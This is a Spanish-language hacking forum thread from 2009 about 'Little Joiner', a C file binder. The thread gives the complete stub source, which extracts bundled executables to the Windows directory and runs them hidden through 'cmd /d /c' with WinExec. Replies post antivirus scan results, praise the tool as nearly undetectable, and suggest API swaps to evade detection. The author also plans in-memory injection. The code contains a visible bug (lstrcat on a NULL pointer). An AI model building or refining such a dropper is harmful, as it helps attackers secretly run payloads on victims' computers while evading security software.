Autor
|
Tema: Little Joiner 1.0 (Open Source) (Leído 8,986 veces)
|
[Zero]
Wiki
Desconectado
Mensajes: 1.082
CALL DWORD PTR DS:[0]
|
Little Joiner Bueno, pare descansar un poco de programar el Virus Metamorph me puse a programar éste joiner. ¿Qué es?Es un Joiner programado en C capaz de unir infinitos archivos, lo de siempre . CapturaCaracterísticas-Tamaño del stu reducido, 1.7kb. - Comprime los archivos a juntar. Ésto quiere decir que si juntamos un archivo de 20kb con uno de 10kb más el stub de 1.7kb el tamaño del ejecutable final rondará los 10kb (Depende del tipo de archivo) Gracias a Karcrack por hablarme de éstas apis que no conocía -Dos stubs, uno que soporta icono y otro que no -El stub sin icono realinea el pe para dejar el EOF dentro de la sección. -Permite cambiar el icono Cosas que se pueden mejorar-Se puede añadir cifrado, no lo hice porque el comprimir ya se ofusca bastante, pero puede ser algo a añadir. -El stub con icono no permite dejar los archivos dentro de la sección sinó que se quedan en el EOF. Ésto se debe a que no sé con antelación cuanto va a ocupar el archivo ya que dependerá del icono que se le añada, se podría corregir añadiendo una sección para albergar los archivos a juntar. -Seguro tiene algunos fallos debido a que apenas lo testeé y ya estoy cansado de joiner . Descargar AplicaciónDescargar SourceSaludos PD: La función para cambiar el icono no es mía, pertenece a Tughack.
|
|
« Última modificación: 12 Mayo 2009, 19:59 pm por Hacker_Zero »
|
En línea
|
“El Hombre, en su orgullo, creó a Dios a su imagen y semejanza. Nietzsche
|
|
|
Karcrack
Desconectado
Mensajes: 2.416
Se siente observado ¬¬'
|
Jejeje, menudo ritmo... que lo empezaste, hace una semana? Me alegro que te gustara la idea de las APIs de compresión Voy a testearlo y te cuento
Para la próxima podrías añadir lo de eligir si ejecutar o no Me ha funcionado perfectamente 4kb + 264kb -> 263kb He estado mirando... Estas APIs para que las gastas? Lo digo porque podrías quitarlas... te ahorrarías importar USER32... ademas, también puedes eliminar SHELL32, si usas para abrir los ficheros WinExec + 'CMD /C /D' (MUCHO MENOS DETECTADA) Te ahorrarías unos bytes Ah! Que directorio temporal gasta? WinDir? Mejor %TMP%
|
|
« Última modificación: 10 Mayo 2009, 14:29 pm por Karcrack »
|
En línea
|
|
|
|
[Zero]
Wiki
Desconectado
Mensajes: 1.082
CALL DWORD PTR DS:[0]
|
No, lo empecé ayer y lo tenía ayer casi todo, me faltaba el stub con icono que quería sacarle el eof pero al final lo dejé igual. Lo de las apis de compresión es impresionante el ratio que tienen . Saludos
|
|
|
En línea
|
“El Hombre, en su orgullo, creó a Dios a su imagen y semejanza. Nietzsche
|
|
|
Karcrack
Desconectado
Mensajes: 2.416
Se siente observado ¬¬'
|
No, lo empecé ayer y lo tenía ayer casi todo, me faltaba el stub con icono que quería sacarle el eof pero al final lo dejé igual. Lo de las apis de compresión es impresionante el ratio que tienen . Saludos Si, impresionante... Y para quien le interese, es casi FUD: File Info
Report generated: 10.5.2009 at 14.34.41 (GMT 1) Filename: x.txt.exe File size: 1 KB MD5 Hash: C81DD690DFB5E661A08D5D4200141561 SHA1 Hash: 991752693E603ED44D5966F7BE875F9CF13A104F Packer detected: Nothing found * Self-Extract Archive: Nothing found Binder Detector: Nothing found Detection rate: 2 on 23
Detections
a-squared - Nothing found! Avira AntiVir - TR/Crypt.XPACK.Gen Avast - Nothing found! AVG - Nothing found! BitDefender - Nothing found! ClamAV - Nothing found! Comodo - Nothing found! Dr.Web - Nothing found! Ewido - Nothing found! F-PROT 6 - Nothing found! IkarusT3 - Nothing found! Kaspersky - Nothing found! McAfee - Nothing found! MHR (Malware Hash Registry) - Nothing found! NOD32 v3 - Nothing found! Norman - Nothing found! Panda - Nothing found! Quick Heal - Suspicious Solo Antivirus - Nothing found! Sophos - Nothing found! TrendMicro - Nothing found! VBA32 - Nothing found! Virus Buster - Nothing found!
Scan report generated by NoVirusThanks.org
Seria fácil de FUDear, con reemplazar ShellExecute
|
|
« Última modificación: 10 Mayo 2009, 14:38 pm por Karcrack »
|
En línea
|
|
|
|
~~
|
Muy bueno, lo vas a presentar a el concurso??
|
|
|
En línea
|
|
|
|
[Zero]
Wiki
Desconectado
Mensajes: 1.082
CALL DWORD PTR DS:[0]
|
Muy bueno, lo vas a presentar a el concurso??
No, aún me queda un fin de semana para el metamorph, no estará completo pero presentaré lo que tenga con el código. Saludos Para la próxima podrías añadir lo de eligir si ejecutar o no Me ha funcionado perfectamente 4kb + 264kb -> 263kb He estado mirando... Estas APIs para que las gastas? Lo digo porque podrías quitarlas... te ahorrarías importar USER32... ademas, también puedes eliminar SHELL32, si usas para abrir los ficheros WinExec + 'CMD /C /D' (MUCHO MENOS DETECTADA) Te ahorrarías unos bytes Ah! Que directorio temporal gasta? WinDir? Mejor %TMP% GetCommandLine no recuerdo usarla . wsprintf la uso para concatenar la ruta de extracción con el nombre y la extensión del archivo. Lo de cambiar shellexecute pues si, seguramente pese menos y algunos antivirus se larguen. Avira y el otro según me dijeron lo detecta por tener sólo una sección, si compilas un messagebox con fasm de forma que te genere una sóla sección también saltan, si se agrega una sección para contener los archivos que se unirán deberían de irse, de todas formas no creo que lo haga (por lo menos antes del 17 xd) si alguien quiere continuar el proyecto pos está a su disposición. Saludos
|
|
« Última modificación: 10 Mayo 2009, 17:06 pm por Hacker_Zero »
|
En línea
|
“El Hombre, en su orgullo, creó a Dios a su imagen y semejanza. Nietzsche
|
|
|
Karcrack
Desconectado
Mensajes: 2.416
Se siente observado ¬¬'
|
He estado mirando y el GetCommandLine se usa para obtener la ruta completa donde estas (%0)...
|
|
|
En línea
|
|
|
|
[Zero]
Wiki
Desconectado
Mensajes: 1.082
CALL DWORD PTR DS:[0]
|
Bueno Karcrack, éste source es para ti . #pragma optimize("gsy", on) #include <windows.h> typedef DWORD (WINAPI *_RtlDecompressBuffer)(IN ULONG CompressionFormat,OUT PVOID DestinationBuffer,IN ULONG DestinationBufferLength, IN PVOID SourceBuffer,IN ULONG SourceBufferLength,OUT PULONG pDestinationSize ); typedef VOID (WINAPI *_CopyMemory)(PVOID Destination,CONST VOID *Source,SIZE_T Length); DWORD dwBytes; VOID SaveFileToDisk(LPSTR nFileName,LPSTR lpFileMaped,DWORD FileSize) { HANDLE hSFTD=CreateFile(nFileName,GENERIC_READ+GENERIC_WRITE,0,0,CREATE_ALWAYS,0,0); WriteFile(hSFTD,lpFileMaped,FileSize,&dwBytes,0); CloseHandle(hSFTD); } LPSTR DecompressBuffer(LPSTR lpBuffer,DWORD szBuffer,LPDWORD dwSizeOut ) { _RtlDecompressBuffer miRtlDecompressBuffer; LPSTR szRet=(LPSTR)GlobalAlloc(GPTR,16*szBuffer); miRtlDecompressBuffer=(_RtlDecompressBuffer)GetProcAddress((HINSTANCE)LoadLibraryA("NTDLL.DLL"),"RtlDecompressBuffer"); miRtlDecompressBuffer(COMPRESSION_FORMAT_LZNT1,szRet,16*szBuffer,lpBuffer,szBuffer,dwSizeOut); return szRet; } void main() { _CopyMemory miCopyMemory=NULL; miCopyMemory=(_CopyMemory)GetProcAddress(GetModuleHandle("KERNEL32.DLL"),"RtlMoveMemory"); DWORD szSubFile; LPSTR ext=(LPSTR)GlobalAlloc(GPTR,3); DWORD Seek=0; LPSTR lpFile=NULL; LPSTR AppName=(LPSTR)GlobalAlloc(GPTR,MAX_PATH); GetModuleFileName(0,AppName,MAX_PATH); HANDLE hFile=CreateFile(AppName,GENERIC_READ,0,0,OPEN_EXISTING,0,0); DWORD szFile=GetFileSize(hFile,0); LPSTR FileBuffer=(LPSTR)GlobalAlloc(GPTR,szFile); ReadFile(hFile,FileBuffer,szFile,&dwBytes,0); DWORD StubSize=0x640; LPSTR WinPath=(LPSTR)GlobalAlloc(GPTR,MAX_PATH); GetWindowsDirectory(WinPath,MAX_PATH); DWORD NumArchivos; miCopyMemory(&NumArchivos,&FileBuffer[StubSize],4); Seek=4; for(DWORD i=0;i<NumArchivos;i++) { //Obtenemos el peso del archivo miCopyMemory(&szSubFile,&FileBuffer[StubSize+Seek],4); //Obtenemos la extensión miCopyMemory(&ext[0],&FileBuffer[StubSize+Seek+4],3); //Leemos el archivo lpFile=(LPSTR)GlobalAlloc(GPTR,szSubFile); miCopyMemory(&lpFile[0],&FileBuffer[StubSize+Seek+7],szSubFile); //Lo descomprimimos DWORD szDecompressedFile; LPSTR lpDecompressedFile=DecompressBuffer(lpFile,szSubFile,&szDecompressedFile); //Generamos la ruta LPSTR Path=(LPSTR)GlobalAlloc(GPTR,MAX_PATH); lstrcat(Path,WinPath); lstrcat(Path,"\\"); //" //Ta mal geshi ¬¬ LPSTR fName=NULL; for(DWORD z=0;z<i+1;z++) { lstrcat(fName,"A"); } lstrcat(Path,fName); lstrcat(Path,"."); lstrcat(Path,ext); //Lo guardamos en WinPath SaveFileToDisk(Path,lpDecompressedFile,szDecompressedFile); LPSTR Archivo=(LPSTR)GlobalAlloc(GPTR,MAX_PATH); lstrcat(Archivo,"cmd /d /c \""); lstrcat(Archivo,WinPath); lstrcat(Archivo,"\\"); //" //Ta mal geshi ¬¬ lstrcat(Archivo,fName); lstrcat(Archivo,"."); lstrcat(Archivo,ext); lstrcat(Archivo,"\""); WinExec(Archivo,SW_HIDE); Seek=Seek+11+szSubFile; } CloseHandle(hFile); }
No importa la SHELL32.DLL y pesa 0.25kb menos o así . Después del 17 seguiré con el joiner, haré que inyecte los exes en memoria, una sección para los datos y algo más. Saludos
|
|
« Última modificación: 11 Mayo 2009, 20:18 pm por Hacker_Zero »
|
En línea
|
“El Hombre, en su orgullo, creó a Dios a su imagen y semejanza. Nietzsche
|
|
|
|
Mensajes similares |
|
Asunto |
Iniciado por |
Respuestas |
Vistas |
Último mensaje |
|
|
Extremadura abandona el Open Source
Noticias
|
wolfbcn
|
1
|
2,586
|
2 Enero 2012, 17:13 pm
por dimitrix
|
|
|
Los robots cirujanos Raven II, serán Open Source
Noticias
|
wolfbcn
|
0
|
2,034
|
18 Enero 2012, 02:05 am
por wolfbcn
|
|
|
LiVES, un completo editor de vídeos Open Source
Noticias
|
wolfbcn
|
0
|
1,810
|
23 Enero 2012, 21:26 pm
por wolfbcn
|
|
|
Kernels open-source
Dudas Generales
|
GeorgArming
|
1
|
2,495
|
31 Enero 2012, 19:30 pm
por GeorgArming
|
|
|
SMALL JOINER by E0N (Joiner Open Source en ASM)
ASM
|
Progmasterbr
|
1
|
2,664
|
16 Mayo 2015, 18:26 pm
por x64core
|
|